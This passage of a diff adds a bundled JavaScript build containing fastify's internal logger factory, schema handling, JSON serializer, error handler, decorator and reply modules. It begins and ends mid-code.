kLogController + } = require_symbols3(); + var { LogController } = require_log_controller(); + function createChildLogger(context2, logger2, req, reqId, loggerOpts) { + const loggerBindings = { + [context2.server[kLogController].requestIdLogLabel]: reqId + }; + const child = context2.childLoggerFactory.call(context2.server, logger2, loggerBindings, loggerOpts || {}, req); + if (context2.childLoggerFactory !== defaultChildLoggerFactory) { + validateLogger(child, true); + } + return child; + } + function defaultChildLoggerFactory(logger2, bindings, opts) { + return logger2.child(bindings, opts); + } + function validateLogger(logger2, strict) { + const methods = ["info", "error", "debug", "fatal", "warn", "trace", "child"]; + const missingMethods = logger2 ? methods.filter((method) => !logger2[method] || typeof logger2[method] !== "function") : methods; + if (!missingMethods.length) { + return true; + } else if (missingMethods.length === methods.length && !strict) { + return false; + } else { + throw FST_ERR_LOG_INVALID_LOGGER(missingMethods.join(",")); + } + } + function createLogger2(options) { + if (options.logger && options.loggerInstance) { + throw new FST_ERR_LOG_LOGGER_AND_LOGGER_INSTANCE_PROVIDED(); + } + if (!options.loggerInstance && !options.logger) { + const nullLogger = require_abstract_logging(); + const logger3 = nullLogger; + logger3.child = () => logger3; + return { logger: logger3, hasLogger: false }; + } + const { createPinoLogger, serializers: serializers2 } = require_logger_pino(); + if (validateLogger(options.loggerInstance)) { + const logger3 = createPinoLogger({ + logger: options.loggerInstance, + serializers: Object.assign({}, serializers2, options.loggerInstance.serializers) + }); + return { logger: logger3, hasLogger: true }; + } + if (validateLogger(options.logger)) { + throw FST_ERR_LOG_INVALID_LOGGER_CONFIG(); + } + if (options.loggerInstance) { + throw FST_ERR_LOG_INVALID_LOGGER_INSTANCE(); + } + const localLoggerOptions = {}; + if (Object.prototype.toString.call(options.logger) === "[object Object]") { + Reflect.ownKeys(options.logger).forEach((prop) => { + Object.defineProperty(localLoggerOptions, prop, { + value: options.logger[prop], + writable: true, + enumerable: true, + configurable: true + }); + }); + } + localLoggerOptions.level = localLoggerOptions.level || "info"; + localLoggerOptions.serializers = Object.assign({}, serializers2, localLoggerOptions.serializers); + options.logger = localLoggerOptions; + const logger2 = createPinoLogger(options.logger); + return { logger: logger2, hasLogger: true }; + } + function createLogController(options) { + const userController = options.logController; + if (!userController) { + return new LogController(options); + } + if (userController instanceof LogController) { + return userController; + } + throw new FST_ERR_LOG_INVALID_LOG_CONTROLLER(typeof userController); + } + function now() { + return performance3.now(); + } + module.exports = { + createChildLogger, + defaultChildLoggerFactory, + createLogController, + createLogger: createLogger2, + LogController, + validateLogger, + now + }; + } +}); + +// node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/schemas.js +var require_schemas = __commonJS({ + "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/schemas.js"(exports, module) { + "use strict"; + var fastClone = require_rfdc()({ circles: false, proto: true }); + var { kSchemaVisited, kSchemaResponse } = require_symbols3(); + var kFluentSchema = Symbol.for("fluent-schema-object"); + var { + FST_ERR_SCH_MISSING_ID, + FST_ERR_SCH_ALREADY_PRESENT, + FST_ERR_SCH_DUPLICATE, + FST_ERR_SCH_CONTENT_MISSING_SCHEMA + } = require_errors2(); + var ContentType = require_content_type(); + var SCHEMAS_SOURCE = ["params", "body", "querystring", "query", "headers"]; + function Schemas(initStore) { + this.store = initStore || {}; + } + Schemas.prototype.add = function(inputSchema) { + const schema = fastClone( + inputSchema.isFluentSchema || inputSchema.isFluentJSONSchema || inputSchema[kFluentSchema] ? inputSchema.valueOf() : inputSchema + ); + const id = schema.$id; + if (!id) { + throw new FST_ERR_SCH_MISSING_ID(); + } + if (this.store[id]) { + throw new FST_ERR_SCH_ALREADY_PRESENT(id); + } + this.store[id] = schema; + }; + Schemas.prototype.getSchemas = function() { + return Object.assign({}, this.store); + }; + Schemas.prototype.getSchema = function(schemaId) { + return this.store[schemaId]; + }; + function isCustomSchemaPrototype(schema) { + return typeof schema === "object" && Object.getPrototypeOf(schema) !== Object.prototype; + } + function normalizeSchema(routeSchemas, serverOptions) { + if (routeSchemas[kSchemaVisited]) { + return routeSchemas; + } + if (routeSchemas.query !== void 0) { + if (routeSchemas.querystring !== void 0) { + throw new FST_ERR_SCH_DUPLICATE("querystring"); + } + routeSchemas.querystring = routeSchemas.query; + } + generateFluentSchema(routeSchemas); + for (const key of SCHEMAS_SOURCE) { + const schema = routeSchemas[key]; + if (schema && !isCustomSchemaPrototype(schema)) { + if (key === "body" && schema.content) { + const contentProperty = schema.content; + const keys = Object.keys(contentProperty); + for (let i = 0; i < keys.length; i++) { + const contentType = keys[i]; + const contentSchema = contentProperty[contentType].schema; + if (!contentSchema) { + throw new FST_ERR_SCH_CONTENT_MISSING_SCHEMA(contentType); + } + } + continue; + } + } + } + if (routeSchemas.response) { + const httpCodes = Object.keys(routeSchemas.response); + for (const code of httpCodes) { + if (isCustomSchemaPrototype(routeSchemas.response[code])) { + continue; + } + const contentProperty = routeSchemas.response[code].content; + if (contentProperty) { + const keys = Object.keys(contentProperty); + for (let i = 0; i < keys.length; i++) { + const mediaName = keys[i]; + if (!contentProperty[mediaName].schema) { + throw new FST_ERR_SCH_CONTENT_MISSING_SCHEMA(mediaName); + } + } + } + } + } + routeSchemas[kSchemaVisited] = true; + return routeSchemas; + } + function generateFluentSchema(schema) { + for (const key of SCHEMAS_SOURCE) { + if (schema[key] && (schema[key].isFluentSchema || schema[key][kFluentSchema])) { + schema[key] = schema[key].valueOf(); + } + } + if (schema.response) { + const httpCodes = Object.keys(schema.response); + for (const code of httpCodes) { + if (schema.response[code].isFluentSchema || schema.response[code][kFluentSchema]) { + schema.response[code] = schema.response[code].valueOf(); + } + } + } + } + function getSchemaSerializer(context2, statusCode, contentType) { + const responseSchemaDef = context2[kSchemaResponse]; + if (!responseSchemaDef) { + return false; + } + if (responseSchemaDef[statusCode]) { + if (responseSchemaDef[statusCode].constructor === Object) { + const ct = ContentType.from(contentType); + if (ct.isValid) { + if (responseSchemaDef[statusCode][ct.mediaType]) { + return responseSchemaDef[statusCode][ct.mediaType]; + } + if (responseSchemaDef[statusCode]["*/*"]) { + return responseSchemaDef[statusCode]["*/*"]; + } + return false; + } + } + return responseSchemaDef[statusCode]; + } + const fallbackStatusCode = (statusCode + "")[0] + "xx"; + if (responseSchemaDef[fallbackStatusCode]) { + if (responseSchemaDef[fallbackStatusCode].constructor === Object) { + const ct = ContentType.from(contentType); + if (ct.isValid) { + if (responseSchemaDef[fallbackStatusCode][ct.mediaType]) { + return responseSchemaDef[fallbackStatusCode][ct.mediaType]; + } + if (responseSchemaDef[fallbackStatusCode]["*/*"]) { + return responseSchemaDef[fallbackStatusCode]["*/*"]; + } + return false; + } + } + return responseSchemaDef[fallbackStatusCode]; + } + if (responseSchemaDef.default) { + if (responseSchemaDef.default.constructor === Object) { + const ct = ContentType.from(contentType); + if (ct.isValid) { + if (responseSchemaDef.default[ct.mediaType]) { + return responseSchemaDef.default[ct.mediaType]; + } + if (responseSchemaDef.default["*/*"]) { + return responseSchemaDef.default["*/*"]; + } + return false; + } + } + return responseSchemaDef.default; + } + return false; + } + module.exports = { + buildSchemas(initStore) { + return new Schemas(initStore); + }, + getSchemaSerializer, + normalizeSchema + }; + } +}); + +// node_modules/.pnpm/fast-json-stringify@7.0.1/node_modules/fast-json-stringify/lib/serializer.js +var require_serializer = __commonJS({ + "node_modules/.pnpm/fast-json-stringify@7.0.1/node_modules/fast-json-stringify/lib/serializer.js"(exports, module) { + "use strict"; + var STR_ESCAPE = /[\u0000-\u001f\u0022\u005c\ud800-\udfff]/; + module.exports = class Serializer { + constructor(options) { + switch (options && options.rounding) { + case "floor": + this.parseInteger = Math.floor; + break; + case "ceil": + this.parseInteger = Math.ceil; + break; + case "round": + this.parseInteger = Math.round; + break; + case "trunc": + default: + this.parseInteger = Math.trunc; + break; + } + this._options = options; + } + asInteger(i) { + if (Number.isInteger(i)) { + return "" + i; + } else if (typeof i === "bigint") { + return i.toString(); + } + const integer3 = this.parseInteger(i); + if (integer3 === Infinity || integer3 === -Infinity || integer3 !== integer3) { + throw new Error(`The value "${i}" cannot be converted to an integer.`); + } + return "" + integer3; + } + asNumber(i) { + const num = Number(i); + if (num !== num) { + throw new Error(`The value "${i}" cannot be converted to a number.`); + } else if (num === Infinity || num === -Infinity) { + return "null"; + } else { + return "" + num; + } + } + asBoolean(bool) { + return bool && "true" || "false"; + } + asDateTime(date6) { + if (date6 === null) return '""'; + if (date6 instanceof Date) { + return '"' + date6.toISOString() + '"'; + } + if (typeof date6 === "string") { + return '"' + date6 + '"'; + } + throw new Error(`The value "${date6}" cannot be converted to a date-time.`); + } + asDate(date6) { + if (date6 === null) return '""'; + if (date6 instanceof Date) { + return '"' + new Date(date6.getTime() - date6.getTimezoneOffset() * 6e4).toISOString().slice(0, 10) + '"'; + } + if (typeof date6 === "string") { + return '"' + date6 + '"'; + } + throw new Error(`The value "${date6}" cannot be converted to a date.`); + } + asTime(date6) { + if (date6 === null) return '""'; + if (date6 instanceof Date) { + return '"' + new Date(date6.getTime() - date6.getTimezoneOffset() * 6e4).toISOString().slice(11, 19) + '"'; + } + if (typeof date6 === "string") { + return '"' + date6 + '"'; + } + throw new Error(`The value "${date6}" cannot be converted to a time.`); + } + asString(str) { + const len = str.length; + if (len === 0) { + return '""'; + } else if (len < 42) { + let result = ""; + let last = -1; + let point2 = 255; + for (let i = 0; i < len; i++) { + point2 = str.charCodeAt(i); + if (point2 === 34 || // '"' + point2 === 92) { + last === -1 && (last = 0); + result += str.slice(last, i) + "\\"; + last = i; + } else if (point2 < 32 || point2 >= 55296 && point2 <= 57343) { + return JSON.stringify(str); + } + } + return last === -1 && '"' + str + '"' || '"' + result + str.slice(last) + '"'; + } else if (len < 5e3 && STR_ESCAPE.test(str) === false) { + return '"' + str + '"'; + } else { + return JSON.stringify(str); + } + } + asUnsafeString(str) { + return '"' + str + '"'; + } + getState() { + return this._options; + } + static restoreFromState(state) { + return new Serializer(state); + } + }; + } +}); + +// node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/error-serializer.js +var require_error_serializer = __commonJS({ + "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/error-serializer.js"(exports, module) { + "use strict"; + var Serializer = require_serializer(); + var serializerState = { "mode": "standalone" }; + var serializer = Serializer.restoreFromState(serializerState); + var validator = null; + module.exports = function anonymous(validator2, serializer2) { + const { + asString, + asNumber, + asBoolean, + asDateTime, + asDate, + asTime, + asUnsafeString + } = serializer2; + const asInteger = serializer2.asInteger.bind(serializer2); + const JSON_STR_BEGIN_OBJECT = "{"; + const JSON_STR_END_OBJECT = "}"; + const JSON_STR_BEGIN_ARRAY = "["; + const JSON_STR_END_ARRAY = "]"; + const JSON_STR_COMMA = ","; + const JSON_STR_COLONS = ":"; + const JSON_STR_QUOTE = '"'; + const JSON_STR_EMPTY_OBJECT = JSON_STR_BEGIN_OBJECT + JSON_STR_END_OBJECT; + const JSON_STR_EMPTY_ARRAY = JSON_STR_BEGIN_ARRAY + JSON_STR_END_ARRAY; + const JSON_STR_EMPTY_STRING = JSON_STR_QUOTE + JSON_STR_QUOTE; + const JSON_STR_NULL = "null"; + function anonymous0(input) { + const obj = input && typeof input.toJSON === "function" ? input.toJSON() : input; + if (obj === null) return JSON_STR_EMPTY_OBJECT; + let json3 = ""; + json3 += JSON_STR_BEGIN_OBJECT; + let addComma_0 = false; + const value_statusCode_1 = obj["statusCode"]; + if (value_statusCode_1 !== void 0) { + !addComma_0 && (addComma_0 = true) || (json3 += JSON_STR_COMMA); + json3 += '"statusCode":'; + json3 += asNumber(value_statusCode_1); + } + const value_code_2 = obj["code"]; + if (value_code_2 !== void 0) { + !addComma_0 && (addComma_0 = true) || (json3 += JSON_STR_COMMA); + json3 += '"code":'; + if (typeof value_code_2 !== "string") { + if (value_code_2 === null) { + json3 += JSON_STR_EMPTY_STRING; + } else if (value_code_2 instanceof Date) { + json3 += JSON_STR_QUOTE + value_code_2.toISOString() + JSON_STR_QUOTE; + } else if (value_code_2 instanceof RegExp) { + json3 += asString(value_code_2.source); + } else { + json3 += asString(value_code_2.toString()); + } + } else { + json3 += asString(value_code_2); + } + } + const value_error_3 = obj["error"]; + if (value_error_3 !== void 0) { + !addComma_0 && (addComma_0 = true) || (json3 += JSON_STR_COMMA); + json3 += '"error":'; + if (typeof value_error_3 !== "string") { + if (value_error_3 === null) { + json3 += JSON_STR_EMPTY_STRING; + } else if (value_error_3 instanceof Date) { + json3 += JSON_STR_QUOTE + value_error_3.toISOString() + JSON_STR_QUOTE; + } else if (value_error_3 instanceof RegExp) { + json3 += asString(value_error_3.source); + } else { + json3 += asString(value_error_3.toString()); + } + } else { + json3 += asString(value_error_3); + } + } + const value_message_4 = obj["message"]; + if (value_message_4 !== void 0) { + !addComma_0 && (addComma_0 = true) || (json3 += JSON_STR_COMMA); + json3 += '"message":'; + if (typeof value_message_4 !== "string") { + if (value_message_4 === null) { + json3 += JSON_STR_EMPTY_STRING; + } else if (value_message_4 instanceof Date) { + json3 += JSON_STR_QUOTE + value_message_4.toISOString() + JSON_STR_QUOTE; + } else if (value_message_4 instanceof RegExp) { + json3 += asString(value_message_4.source); + } else { + json3 += asString(value_message_4.toString()); + } + } else { + json3 += asString(value_message_4); + } + } + json3 += JSON_STR_END_OBJECT; + return json3; + } + const main = anonymous0; + return main; + }(validator, serializer); + } +}); + +// node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/error-handler.js +var require_error_handler = __commonJS({ + "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/error-handler.js"(exports, module) { + "use strict"; + var statusCodes = __require("node:http").STATUS_CODES; + var wrapThenable = require_wrap_thenable(); + var { setErrorStatusCode } = require_error_status(); + var { + kReplyHeaders, + kReplyNextErrorHandler, + kReplyIsRunningOnErrorHook, + kRouteContext, + kLogController, + kDiagnosticsStore + } = require_symbols3(); + var { + FST_ERR_REP_INVALID_PAYLOAD_TYPE, + FST_ERR_FAILED_ERROR_SERIALIZATION + } = require_errors2(); + var { getSchemaSerializer } = require_schemas(); + var serializeError = require_error_serializer(); + var rootErrorHandler = { + func: defaultErrorHandler, + toJSON() { + return this.func.name.toString() + "()"; + } + }; + function handleError(reply, error51, cb) { + reply[kReplyIsRunningOnErrorHook] = false; + const context2 = reply[kRouteContext]; + if (reply[kReplyNextErrorHandler] === false) { + fallbackErrorHandler(error51, reply, function(reply2, payload) { + try { + reply2.raw.writeHead(reply2.raw.statusCode, reply2[kReplyHeaders]); + } catch (error52) { + reply2.server[kLogController].writeHeadError(error52, reply2.request, reply2); + reply2.raw.writeHead(reply2.raw.statusCode); + } + reply2.raw.end(payload); + }); + return; + } + const errorHandler = reply[kReplyNextErrorHandler] || context2.errorHandler; + reply[kReplyNextErrorHandler] = Object.getPrototypeOf(errorHandler); + delete reply[kReplyHeaders]["content-type"]; + delete reply[kReplyHeaders]["content-length"]; + const func = errorHandler.func; + if (!func) { + reply[kReplyNextErrorHandler] = false; + fallbackErrorHandler(error51, reply, cb); + return; + } + try { + const result = func(error51, reply.request, reply); + if (result !== void 0) { + if (result !== null && typeof result.then === "function") { + const store = reply[kDiagnosticsStore] || null; + wrapThenable(result, reply, store); + } else { + reply.send(result); + } + } + } catch (err) { + reply.send(err); + } + } + function defaultErrorHandler(error51, request, reply) { + setErrorHeaders(error51, reply); + setErrorStatusCode(reply, error51); + request.server[kLogController].defaultErrorLog(error51, request, reply); + reply.send(error51); + } + function fallbackErrorHandler(error51, reply, cb) { + const res = reply.raw; + const statusCode = reply.statusCode; + reply[kReplyHeaders]["content-type"] = reply[kReplyHeaders]["content-type"] ?? "application/json; charset=utf-8"; + let payload; + try { + const serializerFn = getSchemaSerializer(reply[kRouteContext], statusCode, reply[kReplyHeaders]["content-type"]); + if (serializerFn === false) { + payload = serializeError({ + error: statusCodes[statusCode + ""], + code: error51.code, + message: error51.message, + statusCode + }); + } else { + payload = serializerFn(Object.create(error51, { + error: { value: statusCodes[statusCode + ""] }, + message: { value: error51.message }, + statusCode: { value: statusCode } + })); + } + } catch (err) { + reply.server[kLogController].serializerError(err, reply.request, reply, { statusCode: res.statusCode }); + reply.code(500); + payload = serializeError(new FST_ERR_FAILED_ERROR_SERIALIZATION(err.message, error51.message)); + } + if (typeof payload !== "string" && !Buffer.isBuffer(payload)) { + payload = serializeError(new FST_ERR_REP_INVALID_PAYLOAD_TYPE(typeof payload)); + } + reply[kReplyHeaders]["content-length"] = "" + Buffer.byteLength(payload); + cb(reply, payload); + } + function buildErrorHandler(parent = rootErrorHandler, func) { + if (!func) { + return parent; + } + const errorHandler = Object.create(parent); + errorHandler.func = func; + return errorHandler; + } + function setErrorHeaders(error51, reply) { + const res = reply.raw; + let statusCode = res.statusCode; + statusCode = statusCode >= 400 ? statusCode : 500; + if (error51 != null) { + if (error51.headers !== void 0) { + reply.headers(error51.headers); + } + if (error51.status >= 400) { + statusCode = error51.status; + } else if (error51.statusCode >= 400) { + statusCode = error51.statusCode; + } + } + res.statusCode = statusCode; + } + module.exports = { + buildErrorHandler, + handleError + }; + } +}); + +// node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/decorate.js +var require_decorate = __commonJS({ + "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/decorate.js"(exports, module) { + "use strict"; + var { + kReply, + kRequest, + kState, + kHasBeenDecorated + } = require_symbols3(); + var { + FST_ERR_DEC_ALREADY_PRESENT, + FST_ERR_DEC_MISSING_DEPENDENCY, + FST_ERR_DEC_AFTER_START, + FST_ERR_DEC_REFERENCE_TYPE, + FST_ERR_DEC_DEPENDENCY_INVALID_TYPE, + FST_ERR_DEC_UNDECLARED + } = require_errors2(); + function decorate(instance, name, fn, dependencies) { + if (Object.hasOwn(instance, name)) { + throw new FST_ERR_DEC_ALREADY_PRESENT(name); + } + checkDependencies(instance, name, dependencies); + if (fn && (typeof fn.getter === "function" || typeof fn.setter === "function")) { + Object.defineProperty(instance, name, { + get: fn.getter, + set: fn.setter + }); + } else { + instance[name] = fn; + } + } + function getInstanceDecorator(name) { + if (!checkExistence(this, name)) { + throw new FST_ERR_DEC_UNDECLARED(name, "instance"); + } + if (typeof this[name] === "function") { + return this[name].bind(this); + } + return this[name]; + } + function decorateConstructor(konstructor, name, fn, dependencies) { + const instance = konstructor.prototype; + if (Object.hasOwn(instance, name) || hasKey(konstructor, name) || hasInstanceProperty(konstructor, name)) { + throw new FST_ERR_DEC_ALREADY_PRESENT(name); + } + konstructor[kHasBeenDecorated] = true; + checkDependencies(konstructor, name, dependencies); + if (fn && (typeof fn.getter === "function" || typeof fn.setter === "function")) { + Object.defineProperty(instance, name, { + get: fn.getter, + set: fn.setter + }); + } else if (typeof fn === "function") { + instance[name] = fn; + } else { + konstructor.props.push({ key: name, value: fn }); + } + } + function checkReferenceType(name, fn) { + if (typeof fn === "object" && fn && !(typeof fn.getter === "function" || typeof fn.setter === "function")) { + throw new FST_ERR_DEC_REFERENCE_TYPE(name, typeof fn); + } + } + function decorateFastify(name, fn, dependencies) { + assertNotStarted(this, name); + decorate(this, name, fn, dependencies); + return this; + } + function checkExistence(instance, name) { + if (name) { + return name in instance || instance.prototype && name in instance.prototype || hasKey(instance, name); + } + return instance in this; + } + function hasKey(fn, name) { + return fn.props ? fn.props.some((p) => p.key === name) : false; + } + function hasInstanceProperty(konstructor, name) { + let k = konstructor; + while (k) { + if (k.instanceProperties && k.instanceProperties.has(name)) return true; + k = k.parent; + } + return false; + } + function checkRequestExistence(name) { + if (name && hasKey(this[kRequest], name)) return true; + if (name && hasInstanceProperty(this[kRequest], name)) return true; + return checkExistence(this[kRequest].prototype, name); + } + function checkReplyExistence(name) { + if (name && hasKey(this[kReply], name)) return true; + if (name && hasInstanceProperty(this[kReply], name)) return true; + return checkExistence(this[kReply].prototype, name); + } + function checkDependencies(instance, name, deps) { + if (deps === void 0 || deps === null) { + return; + } + if (!Array.isArray(deps)) { + throw new FST_ERR_DEC_DEPENDENCY_INVALID_TYPE(name); + } + for (let i = 0; i !== deps.length; ++i) { + if (!checkExistence(instance, deps[i]) && !hasInstanceProperty(instance, deps[i])) { + throw new FST_ERR_DEC_MISSING_DEPENDENCY(deps[i]); + } + } + } + function decorateReply(name, fn, dependencies) { + assertNotStarted(this, name); + checkReferenceType(name, fn); + decorateConstructor(this[kReply], name, fn, dependencies); + return this; + } + function decorateRequest(name, fn, dependencies) { + assertNotStarted(this, name); + checkReferenceType(name, fn); + decorateConstructor(this[kRequest], name, fn, dependencies); + return this; + } + function assertNotStarted(instance, name) { + if (instance[kState].started) { + throw new FST_ERR_DEC_AFTER_START(name); + } + } + module.exports = { + add: decorateFastify, + exist: checkExistence, + existRequest: checkRequestExistence, + existReply: checkReplyExistence, + dependencies: checkDependencies, + decorateReply, + decorateRequest, + getInstanceDecorator, + hasKey + }; + } +}); + +// node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/reply.js +var require_reply = __commonJS({ + "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/reply.js"(exports, module) { + "use strict"; + var eos = __require("node:stream").finished; + var { + kFourOhFourContext, + kReplyErrorHandlerCalled, + kReplyHijacked, + kReplyStartTime, + kReplyEndTime, + kReplySerializer, + kReplySerializerDefault, + kReplyIsError, + kReplyHeaders, + kReplyTrailers, + kReplyHasStatusCode, + kReplyIsRunningOnErrorHook, + kReplyNextErrorHandler, + kSchemaResponse, + kReplyCacheSerializeFns, + kSchemaController, + kOptions, + kRouteContext, + kTimeoutTimer, + kOnAbort, + kRequestSignal, + kLogController + } = require_symbols3(); + var { + onSendHookRunner, + onResponseHookRunner, + preHandlerHookRunner, + preSerializationHookRunner + } = require_hooks(); + var internals = require_handle_request()[Symbol.for("internals")]; + var loggerUtils = require_logger_factory(); + var now = loggerUtils.now; + var { handleError } = require_error_handler(); + var { getSchemaSerializer } = require_schemas(); + var CONTENT_TYPE = { + JSON: "application/json; charset=utf-8", + PLAIN: "text/plain; charset=utf-8", + OCTET: "application/octet-stream" + }; + var { + FST_ERR_REP_INVALID_PAYLOAD_TYPE, + FST_ERR_REP_RESPONSE_BODY_CONSUMED, + FST_ERR_REP_READABLE_STREAM_LOCKED, + FST_ERR_REP_ALREADY_SENT, + FST_ERR_SEND_INSIDE_ONERR, + FST_ERR_BAD_STATUS_CODE, + FST_ERR_BAD_TRAILER_NAME, + FST_ERR_BAD_TRAILER_VALUE, + FST_ERR_MISSING_SERIALIZATION_FN, + FST_ERR_MISSING_CONTENTTYPE_SERIALIZATION_FN, + FST_ERR_DEC_UNDECLARED + } = require_errors2(); + var decorators = require_decorate(); + var ContentType = require_content_type(); + var toString = Object.prototype.toString; + var HTTP2_WRITE_CHUNK_SIZE = 64 * 1024; + function Reply(res, request, log) { + this.raw = res; + this[kReplySerializer] = null; + this[kReplyErrorHandlerCalled] = false; + this[kReplyIsError] = false; + this[kReplyIsRunningOnErrorHook] = false; + this.request = request; + this[kReplyHeaders] = {}; + this[kReplyTrailers] = null; + this[kReplyHasStatusCode] = false; + this[kReplyStartTime] = void 0; + this.log = log; + } + Reply.props = []; + Reply.instanceProperties = /* @__PURE__ */ new Set(["raw", "request", "log"]); + Object.defineProperties(Reply.prototype, { + [kRouteContext]: { + get() { + return this.request[kRouteContext]; + } + }, + elapsedTime: { + get() { + if (this[kReplyStartTime] === void 0) { + return 0; + } + return (this[kReplyEndTime] || now()) - this[kReplyStartTime]; + } + }, + mediaType: { + get() { + const contentTypeHeader = this[kReplyHeaders]["content-type"]; + return ContentType.from(contentTypeHeader).mediaType; + } + }, + server: { + get() { + return this.request[kRouteContext].server; + } + }, + sent: { + enumerable: true, + get() { + return (this[kReplyHijacked] || this.raw.writableEnded) === true; + } + }, + statusCode: { + get() { + return this.raw.statusCode; + }, + set(value) { + this.code(value); + } + }, + routeOptions: { + get() { + return this.request.routeOptions; + } + } + }); + Reply.prototype.writeEarlyHints = function(hints, callback) { + this.raw.writeEarlyHints(hints, callback); + return this; + }; + Reply.prototype.hijack = function() { + this[kReplyHijacked] = true; + if (this.request[kRequestSignal]) { + clearTimeout(this.request[kTimeoutTimer]); + this.request[kTimeoutTimer] = null; + if (this.request[kOnAbort]) { + this.request.raw.removeListener("close", this.request[kOnAbort]); + this.request[kOnAbort] = null; + } + } + const socket = this.request.raw.socket; + if (socket?._meta?.request === this.request) { + socket.removeListener("timeout", socket._meta.onTimeout); + socket._meta = null; + } + return this; + }; + Reply.prototype.send = function(payload) { + if (this[kReplyIsRunningOnErrorHook]) { + throw new FST_ERR_SEND_INSIDE_ONERR(); + } + if (this.sent === true) { + this.log.warn({ err: new FST_ERR_REP_ALREADY_SENT(this.request.url, this.request.method) }); + return this; + } + if (this[kReplyIsError] || payload instanceof Error) { + this[kReplyIsError] = false; + onErrorHook(this, payload, onSendHook); + return this; + } + if (payload === void 0) { + onSendHook(this, payload); + return this; + } + const contentType = ContentType.from(this.getHeader("content-type")); + const hasContentType = contentType.isEmpty === false; + if (payload !== null) { + if ( + // node:stream + typeof payload.pipe === "function" || // node:stream/web + typeof payload.getReader === "function" || // Response + typeof payload === "object" && toString.call(payload) === "[object Response]" + ) { + onSendHook(this, payload); + return this; + } + if (payload.buffer instanceof ArrayBuffer) { + if (!hasContentType) { + this[kReplyHeaders]["content-type"] = CONTENT_TYPE.OCTET; + } + const payloadToSend = Buffer.isBuffer(payload) ? payload : Buffer.from(payload.buffer, payload.byteOffset, payload.byteLength); + onSendHook(this, payloadToSend); + return this; + } + if (!hasContentType && typeof payload === "string") { + this[kReplyHeaders]["content-type"] = CONTENT_TYPE.PLAIN; + onSendHook(this, payload); + return this; + } + } + if (this[kReplySerializer] !== null) { + if (typeof payload !== "string") { + preSerializationHook(this, payload); + return this; + } + payload = this[kReplySerializer](payload); + } else if (!hasContentType || contentType.mediaType.indexOf("json") !== -1) { + if (!hasContentType) { + this[kReplyHeaders]["content-type"] = CONTENT_TYPE.JSON; + } else if (contentType.parameters.has("charset") === false) { + const customContentType = contentType.toString(); + this[kReplyHeaders]["content-type"] = `${customContentType}; charset=utf-8`; + } + if (typeof payload !== "string") { + preSerializationHook(this, payload); + return this; + } + } + onSendHook(this, payload); + return this; + }; + Reply.prototype.getHeader = function(key) { + key = key.toLowerCase(); + const value = this[kReplyHeaders][key]; + return value !== void 0 ? value : this.raw.getHeader(key); + }; + Reply.prototype.getHeaders = function() { + return { + ...this.raw.getHeaders(), + ...this[kReplyHeaders] + }; + }; + Reply.prototype.hasHeader = function(key) { + key = key.toLowerCase(); + return this[kReplyHeaders][key] !== void 0 || this.raw.hasHeader(key); + }; + Reply.prototype.removeHeader = function(key) { + key = key.toLowerCase(); + delete this[kReplyHeaders][key]; + if (!this.raw.headersSent) { + this.raw.removeHeader(key); + } + return this; + }; + Reply.prototype.header = function(key, value = "") { + key = key.toLowerCase(); + if (this[kReplyHeaders][key] && key === "set-cookie") { + if (typeof this[kReplyHeaders][key] === "string") { + this[kReplyHeaders][key] = [this[kReplyHeaders][key]]; + } + if (Array.isArray(value)) { + Array.prototype.push.apply(this[kReplyHeaders][key], value); + } else { + this[kReplyHeaders][key].push(value); + } + } else { + this[kReplyHeaders][key] = value; + } + return this; + }; + Reply.prototype.headers = function(headers) { + const keys = Object.keys(headers); + for (let i = 0; i !== keys.length; ++i) { + const key = keys[i]; + this.header(key, headers[key]); + } + return this; + }; + var INVALID_TRAILERS = /* @__PURE__ */ new Set([ + "transfer-encoding", + "content-length", + "host", + "cache-control", + "max-forwards", + "te", + "authorization", + "set-cookie", + "content-encoding", + "content-type", + "content-range", + "trailer" + ]); + Reply.prototype.trailer = function(key, fn) { + key = key.toLowerCase(); + if (INVALID_TRAILERS.has(key)) { + throw new FST_ERR_BAD_TRAILER_NAME(key); + } + if (typeof fn !== "function") { + throw new FST_ERR_BAD_TRAILER_VALUE(key, typeof fn); + } + if (this[kReplyTrailers] === null) this[kReplyTrailers] = {}; + this[kReplyTrailers][key] = fn; + return this; + }; + Reply.prototype.hasTrailer = function(key) { + return this[kReplyTrailers]?.[key.toLowerCase()] !== void 0; + }; + Reply.prototype.removeTrailer = function(key) { + if (this[kReplyTrailers] === null) return this; + this[kReplyTrailers][key.toLowerCase()] = void 0; + return this; + }; + Reply.prototype.code = function(code) { + const statusCode = +code; + if (!(statusCode >= 100 && statusCode <= 599)) { + throw new FST_ERR_BAD_STATUS_CODE(code || String(code)); + } + this.raw.statusCode = statusCode; + this[kReplyHasStatusCode] = true; + return this; + }; + Reply.prototype.status = Reply.prototype.code; + Reply.prototype.getSerializationFunction = function(schemaOrStatus, contentType) { + let serialize2; + if (typeof schemaOrStatus === "string" || typeof schemaOrStatus === "number") { + if (typeof contentType === "string") { + serialize2 = this[kRouteContext][kSchemaResponse]?.[schemaOrStatus]?.[contentType]; + } else { + serialize2 = this[kRouteContext][kSchemaResponse]?.[schemaOrStatus]; + } + } else if (typeof schemaOrStatus === "object") { + serialize2 = this[kRouteContext][kReplyCacheSerializeFns]?.get(schemaOrStatus); + } + return serialize2; + }; + Reply.prototype.compileSerializationSchema = function(schema, httpStatus = null, contentType = null) { + const { request } = this; + const { method, url: url2 } = request; + if (this[kRouteContext][kReplyCacheSerializeFns]?.has(schema)) { + return this[kRouteContext][kReplyCacheSerializeFns].get(schema); + } + const serializerCompiler = this[kRouteContext].serializerCompiler || this.server[kSchemaController].serializerCompiler || // We compile the schemas if no custom serializerCompiler is provided + // nor set + (this.server[kSchemaController].setupSerializer(this.server[kOptions]) || this.server[kSchemaController].serializerCompiler); + const serializeFn = serializerCompiler({ + schema, + method, + url: url2, + httpStatus, + contentType + }); + if (this[kRouteContext][kReplyCacheSerializeFns] == null) { + this[kRouteContext][kReplyCacheSerializeFns] = /* @__PURE__ */ new WeakMap(); + } + 